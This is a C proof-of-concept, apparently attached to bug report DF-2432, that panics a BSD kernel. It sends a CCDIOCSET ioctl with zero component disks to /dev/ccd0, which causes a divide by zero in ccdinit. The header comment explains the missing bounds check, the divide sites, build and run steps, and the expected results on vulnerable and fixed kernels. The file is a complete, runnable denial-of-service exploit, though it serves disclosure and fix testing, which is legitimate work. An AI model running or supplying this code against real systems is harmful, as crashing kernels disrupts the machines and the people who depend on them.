DF-2432 / poc.c
/* * poc.c -- DF-2432: divide-by-zero kernel panic via CCDIOCSET with * ccio_ndisks == 0 * * Bug: sys/dev/disk/ccd/ccd.c ccdioctl(CCDIOCSET) only validates * ccio->ccio_ndisks against the UPPER bound (CCD_MAXNDISKS), never * rejects 0. With 0 disks, ccdinit()'s component loop runs zero * times so `maxsecsize` stays 0, and the pseudo-geometry setup at * ccd.c:580 computes `1024*1024 / ccg->ccg_secsize` == 1048576 / 0 * (ccg_secsize = maxsecsize = 0) -> #DE -> kernel panic. * (If ccio_ileave > 0, the earlier divide at ccd.c:515, * sc_ileave % (maxsecsize/DEV_BSIZE) == x % 0, panics first.) * * Requires: ccd module loaded (kldload ccd) and root to open * /dev/ccd0 with O_WRONLY (FWRITE is enforced, ccd.c:1313). * * Build: cc -O2 -o poc poc.c * Run : ./poc [/dev/ccd0] (as root, after `kldload ccd`) * * Expected on the vulnerable kernel: kernel panic * "Fatal trap 0: divide error while in kernel mode" * Stopped at ... ccdinit+0x... * Expected on a FIXED kernel: ioctl returns EINVAL, "poc: CCDIOCSET: ..." */ #include <sys/types.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* Mirror of struct ccd_ioctl from sys/sys/ccdvar.h (32 bytes on amd64). */ struct ccd_ioctl { char **ccio_disks; /* pointer to component paths */ u_int ccio_ndisks; /* number of disks */ int ccio_ileave; /* interleave */ int ccio_flags; /* misc flags */ int ccio_unit; /* unit number */ u_int64_t ccio_size; /* (returned) size */ }; /* CCDIOCSET = _IOWR('F', 16, struct ccd_ioctl) */ #define MY_CCDIOCSET _IOWR('F', 16, struct ccd_ioctl) int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/ccd0"; int fd = open(dev, O_WRONLY); if (fd < 0) { perror("open"); fprintf(stderr, "(is the ccd module loaded? run: kldload ccd)\n"); return 1; } struct ccd_ioctl ccio; memset(&ccio, 0, sizeof(ccio)); ccio.ccio_disks = NULL; /* unreferenced when ndisks==0 */ ccio.ccio_ndisks = 0; /* <-- the trigger: 0 disks */ ccio.ccio_ileave = 0; /* take the line-580 divide path */ ccio.ccio_flags = 0; printf("poc: issuing CCDIOCSET on %s with ccio_ndisks=0 " "(expect divide-by-zero panic on vulnerable kernel)...\n", dev); fflush(stdout); if (ioctl(fd, MY_CCDIOCSET, &ccio) < 0) { /* FIXED kernel rejects ndisks==0 with EINVAL here. */ fprintf(stderr, "poc: CCDIOCSET rejected: %s (FIXED behavior)\n", strerror(errno)); close(fd); return 2; } printf("poc: CCDIOCSET succeeded unexpectedly (returned size=%llu)\n", (unsigned long long)ccio.ccio_size); close(fd); return 0; } |